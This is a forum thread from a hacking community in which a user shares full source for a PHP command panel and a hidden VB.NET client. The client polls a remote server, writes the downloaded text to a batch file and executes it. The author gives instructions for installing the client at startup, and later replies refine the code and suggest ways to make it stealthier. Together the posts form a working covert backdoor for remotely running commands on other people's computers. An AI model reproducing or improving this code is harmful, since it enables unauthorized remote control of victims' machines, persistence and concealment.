[HC Official] Remote Administration Tool

static_cast · 05-20-2013, 10:49 PM

Hack Community Remote Administration Tool
Version 1.0

Hello [username].
I have written a RAT in PHP and VB for the community's own use.

Download Links:
http://static_cast.home.comcast.net/RAT.zip
https://dl.dropboxusercontent.com/u/125590256/RAT.zip
[Image: clean.jpg]

http://s23.postimg.org/3sqq3lpnf/clean.png

Here is the code for both files: [TIP: The PHP page can also be viewed on smartphones and such, when rotated 90 degrees. Biggrin

]:

rat.php

Code:
<?php
if(isset($_POST['submit']))
 {
 $text = $_POST['text'];
 file_put_contents("commands.txt", $text);
 }
?>

<html>
 <head>
  <title>Hackcommunity PHP RAT</title>
 </head>
 <body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white">
  <center>
   <div style="background-color: black"><img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /></div>
   <form action="#" method="POST" style="height: 520px; width: 480px">
    <textarea name="text" style="background-color: #333; color: white; width: 100%; height: 500px"><?php echo file_get_contents("commands.txt"); ?></textarea>
    <br />
    <input type="submit" name="submit" value="Save" style="margin-right: -1px; float: right" />
   </form>
  </center>
 </body>
</html>

host.exe (Just make a windows form and paste this if you have Visual Studio)

Code:
Imports System.Net
Imports System.IO.StreamReader
Imports System.IO.StreamWriter

Public Class Form1

    Dim oStrText As String
    Dim nStrText As String
    Dim commandPath As String = "commands.bat"
    Dim serverPath As String = "server.txt"
    Dim server As String

    Public Function LoadSiteContent(ByVal url As String) As String
        Try
            Dim instance As WebClient = New WebClient
            Return instance.DownloadString(url)
        Catch ex As Exception
            Return ""
        End Try
    End Function

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 0
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Timer1.Enabled = True
        Timer1.Interval = 2500

        Try
            Dim objReader As New System.IO.StreamReader(serverPath)
            server = objReader.ReadToEnd()
            objReader.Close()
        Catch ex As Exception
            Dim objWriter As New System.IO.StreamWriter(serverPath, False)
            objWriter.Write("server to listen to")
            objWriter.Close()
        End Try

        Try
            Dim objReader As New System.IO.StreamReader(commandPath)
            oStrText = objReader.ReadToEnd()
            objReader.Close()
        Catch ex As Exception
            Dim objWriter As New System.IO.StreamWriter(commandPath, False)
            objWriter.Write(nStrText)
            objWriter.Close()
        End Try
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        nStrText = LoadSiteContent(server)

        If nStrText <> oStrText Then
            oStrText = nStrText

            Dim objWriter As New System.IO.StreamWriter(commandPath, False)
            objWriter.Write(nStrText)
            objWriter.Close()

            Shell(commandPath)
        End If
    End Sub

End Class

EDIT: I've recently been getting comments from people saying they can't figure it out. Here's how:
1) Put the PHP file on a web-server with PHP.
2) Put the VB file in the startup folder of a computer [or registry startup]
3) ???
4) Profit.

Bugs:
Very bad.

Linuxephus™ · 05-20-2013, 11:28 PM

@Deque @ArkPhaze will have a peruse of your tool for any possible flaws, suggest any needed corrections, and decide from there if it will be sponsored within the domain of HC Official Tools.
Good start though nonetheless brother.

ArkPhaze · 05-21-2013, 12:10 AM

Why are you doing this?

Code:
Imports System.IO.StreamReader
Imports System.IO.StreamWriter

You only need to import System.IO because both StreaReader and StreamWriter are classes within that namespace. They are not namespaces...

Code:
Dim instance As WebClient = New WebClient

If you declare a WebClient locally, and you're not reusing it because it's a new instance every time this method is invoked, you should be Dispose()'ing of this object, which you aren't doing. I would also suggest the DownloadStringAsync() method instead typically. Since the UI as you say is soon going to vanish though, there's no problem with the UI freezing if you don't care.

These are a lame way of doing that though:

Code:
Me.Opacity = 0
Me.ShowIcon = False
Me.ShowInTaskbar = False

There are better methods that you can P/Invoke to completely remove the form from being shown.

The use of Try Catch is horrible here, and assumptions are being made that the reason why this Exception is being thrown is because the file doesn't exist. This could be more than just that...

Code:
Try
	Dim objReader As New System.IO.StreamReader(serverPath)
	server = objReader.ReadToEnd()
	objReader.Close()
Catch ex As Exception
	Dim objWriter As New System.IO.StreamWriter(serverPath, False)
	objWriter.Write("server to listen to")
	objWriter.Close()
End Try

Try
	Dim objReader As New System.IO.StreamReader(commandPath)
	oStrText = objReader.ReadToEnd()
	objReader.Close()
Catch ex As Exception
	Dim objWriter As New System.IO.StreamWriter(commandPath, False)
	objWriter.Write(nStrText)
	objWriter.Close()
End Try

And Try Catch is not a method of exception handling either. If my guess is correct, then you shouldn't be using Try Catch at all because System.IO.File (class) has an Exists() function that you can use to check if the file exists or not. Then if it returns true, read from it, don't "avoid" it by catching the thrown exception. That's a performance downgrade.

Code:
Shell(commandPath)

Shell() is old too, use the Process class instead from the System.Diagnostics namespace. This is about the same as using system() calls in C++, which is not recommended.

These could be constants since they never change I'm guessing:

Code:
Dim commandPath As String = "commands.bat"
Dim serverPath As String = "server.txt"

As for the rest of the strings:

Code:
Dim oStrText As String
Dim nStrText As String
Dim server As String

There's no reason for these to be global/member variables if the structure of your program was better. Right now you're using a Timer to get the content through an undisposed instance of a WebClient every interval via the Tick event method, and that's no good either. You can only have 2 httprequests by default anyways, so if the connection is slow, and timeout doesn't affect the request, you'll only really have 2 anyways. And the reason why a Timer is bad here is because you don't validate or verify that the last outbound request has completed before assigning a new instance of the WebClient wrapper class and calling it to make another request to download the source string of the page.

ServicePointManager.DefaultConnectionLimit Property: http://msdn.microsoft.com/en-us/library/...limit.aspx

As for the PHP, same thing based on what I see, it's very basic, but there's poor, or no exception handling.

/criticism

~Arkphaze

static_cast · 05-21-2013, 02:46 AM

Exactly! This is supposed to be simple code. You do realize that my knowledge of VB is limited, right?

It works on my computer as well, and I haven't seen any problem with the 2 requests allowed.

I haven't updated the ZIP files and all, but here is the new source. I fixed everything [to an extent] except for the 2 requests problem (which isn't one, it seems).

Code:
Imports System.Net
Imports System.IO

Public Class Form1

    Dim oStrText As String
    Dim server As String
    Const commandPath As String = "commands.bat"
    Const serverPath As String = "server.txt"

    Public Function LoadSiteContent(ByVal url As String) As String
        Try
            Dim instance As WebClient = New WebClient
            Dim commands As String = instance.DownloadString(url)
            instance.Dispose()
            Return commands
        Catch 'ex As Exception
        End Try

        Return False
    End Function

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Me.Opacity = 0
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Timer1.Enabled = True
        Timer1.Interval = 2500

        Try
            If File.Exists(serverPath) Then
                Dim objReader As New System.IO.StreamReader(serverPath)
                server = objReader.ReadToEnd()
                objReader.Close()
            Else
                Dim objWriter As New System.IO.StreamWriter(serverPath, False)
                objWriter.Write("server to listen to")
                objWriter.Close()
            End If
        Catch 'ex As Exception
        End Try

        Try
            If File.Exists(serverPath) Then
                Dim objReader As New System.IO.StreamReader(commandPath)
                oStrText = objReader.ReadToEnd()
                objReader.Close()
            Else
                Dim objWriter As New System.IO.StreamWriter(commandPath, False)
                objWriter.Write("")
                objWriter.Close()
            End If
        Catch 'ex As Exception
        End Try
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        Dim nStrText As String
        nStrText = LoadSiteContent(server)

        If nStrText <> oStrText Then
            oStrText = nStrText

            Dim objWriter As New System.IO.StreamWriter(commandPath, False)
            objWriter.Write(nStrText)
            objWriter.Close()

            Process.Start(commandPath & " > NUL")
        End If
    End Sub

End Class

Deque · 05-21-2013, 05:51 AM

Thanks @ArkPhaze.
Moved to HC Official.

ArkPhaze · 05-21-2013, 09:36 AM

For things like this:

Code:
Public Function LoadSiteContent(ByVal url As String) As String
	Try
		Dim instance As WebClient = New WebClient
		Dim commands As String = instance.DownloadString(url)
		instance.Dispose()
		Return commands
	Catch 'ex As Exception
	End Try

	Return False
End Function

There's a few things wrong with that here...

1. You are returning a String for this function, yet in one part of the code you return a string (commands), and if failure, you return a boolean. How does that work? :whistle:
2. Using a Try Catch like this is usually not suggested. The more common way to go is usually a Try \ Finally too, because it is more often than not a better implementation. Otherwise, at least use the Catch for something if you can...

For instance:

Code:
Try
	Dim instance As WebClient = New WebClient
	Dim commands As String = instance.DownloadString(url)
	instance.Dispose()
	Return commands
Catch
	Return Nothing
End Try

However--I would avoid the Catch either and adopt a Try \ Finally instead... This is still not the greatest design with Try \ Catch. Ex:

Code:
Dim source As String
Dim instance As WebClient = New WebClient
Try
	source = instance.DownloadString(url)
Finally
	instance.Dispose()
End Try
Return source

Right now you're just using the Try \ Catch in your source code as a pinata without any candy inside... For more information, take a look at this link as my recommendation: http://msdn.microsoft.com/en-us/library/ms229005.aspx

The reason why I mentioned global variables being bad is because for code like this you cannot guarantee what the value holds when you call it from another function. Picture that function just finding some random box (variable) on the street, and assuming it is usable. If the file doesn't exist for the server, the call to LoadSiteContent() is passing a null string to the parameter... And because of your heavy excessive use of Try \ Catch, you are throwing away the details to help you debug and fix issues like this.

It's nice you want to help and contribute to the community. But if this is to be a featured official program it should be somewhat presentable first. I can help you fix the issues.

Quote:Exactly! This is supposed to be simple code. You do realize that my knowledge of VB is limited, right?

I can tell, and that's why I've posted all of the above... As a beginner/novice VB.net programmer does this make you exempt from receiving advice then, or do you not want advice? Smile

My criticism was for your own benefit, not to degrade your code. I don't have any intentions of doing that as it would be a waste of my time to point things out if it's just being said just for the sake of mentioning.

If you do want help, then I would suggest starting with putting "Option Strict On" at the top of your code, or in the project settings as default. If not, well... Wink

edit:
Note: There may or may not be more issues with your code still. Some I haven't mentioned still, although i'm calling it a night, since by my timezone, it is quite early... And I tend to make bad replies when I am up too late that either contain mistakes or errors. Smile

~ArkPhaze

static_cast · 05-21-2013, 03:20 PM

Alrighty then, why don't we contact each other through PM for the sake of the community's comments.

I will fix these later today or tomorrow.

ArkPhaze · 05-21-2013, 05:02 PM

(05-21-2013, 03:20 PM)static_cast Wrote: Alrighty then, why don't we contact each other through PM for the sake of the community's comments.

I will fix these later today or tomorrow.

Actually, I find the feedback in the thread much more of value.

- Others can see my feedback and learn even if they have no interest in your program/tool
- Information doesn't get lost if you or myself, decide to clean out their Inbox
- It's much easier to track the discussion in a linear layout than having to look through each message and see which is a response to what in PM's, and that space is not reserved for just only one discussion at a time either

I don't do anything via PM, and I ask members to post a thread so I can help them that way if they PM me asking for help.

Wink

noize · 05-22-2013, 12:00 AM

Just tried to give a fix according to my retaining of what's better at the CSS:

Code:
<?php
if(isset($_POST['submit']))
 {
 $text = $_POST['text'];
 file_put_contents("commands.txt", $text);
 }
?>

<html>
 <head>
  <title>HackCommunity PHP RAT</title>
 </head>
 <body style="background-image: url('http://i.imgur.com/l9LtNzl.png'); color: white">
  <center>
   <div style="background-color: black"><img src="http://static_cast.home.comcast.net/old/newLogo.png" alt="PHP RAT" /></div>
   <form action="#" method="POST" style="position: relative; top: 10px;">
    <textarea name="text" style="position: absolute; background-color: #333; color: #FAFAFA; left: 0px; width: 1350px; height: 450px"><?php echo file_get_contents("commands.txt"); ?></textarea>
    <br /><br />
    <input type="submit" name="submit" value="Save" style="position: absolute; font-size: 20px; width: 1350px; height: 50px; background-color: #191919; color: #FAFAFA; font-weight: bold; left: 0px; top: 460px;" />
   </form>
  </center>
 </body>
</html>

Just my taste, but give it a shot. Here is a screen (I'd suggest you click on the image and have a look at it in widescreen):

Spoiler:

Whatever, I've tested this and it's working fine, but how about a builder where you can choose the "commands.txt" URL in order to have at the end one "host.exe" independent from server.txt?

P.S: also, having the server automatically delete the batch file when done with running commands would be better, I think. Of course, it's not that hard to do it ourselves, but, whatever, just saying.

ArkPhaze · 05-22-2013, 06:04 AM

For the CSS I would put everything into a style.css file (or any other name with the .css extension), and reference that in the <HEAD>. For one page it doesn't matter too much, as pageload isn't as much as a concern nowadays without the standard being dial-up. It should be in an external file though if you have multiple pages with the same style. I think it would make the page easier to read as well without all the CSS being there.

Or second best option being that you put all the CSS into it's own <script> tags in the same file to be referenced by the HTML on the same page.(?)

For experimental purposes, you could try fooling around with some CSS buttons. The page looks a little plain. Wink

I can make some graphics for button images if you are interested. Otherwise, you could try for a no image, and all CSS style button as well.

No one is expected to know everything, so it would be a good excuse to make this a semi-collaboration project if you are interested. I'm sure there's some good web devs around.

:ok: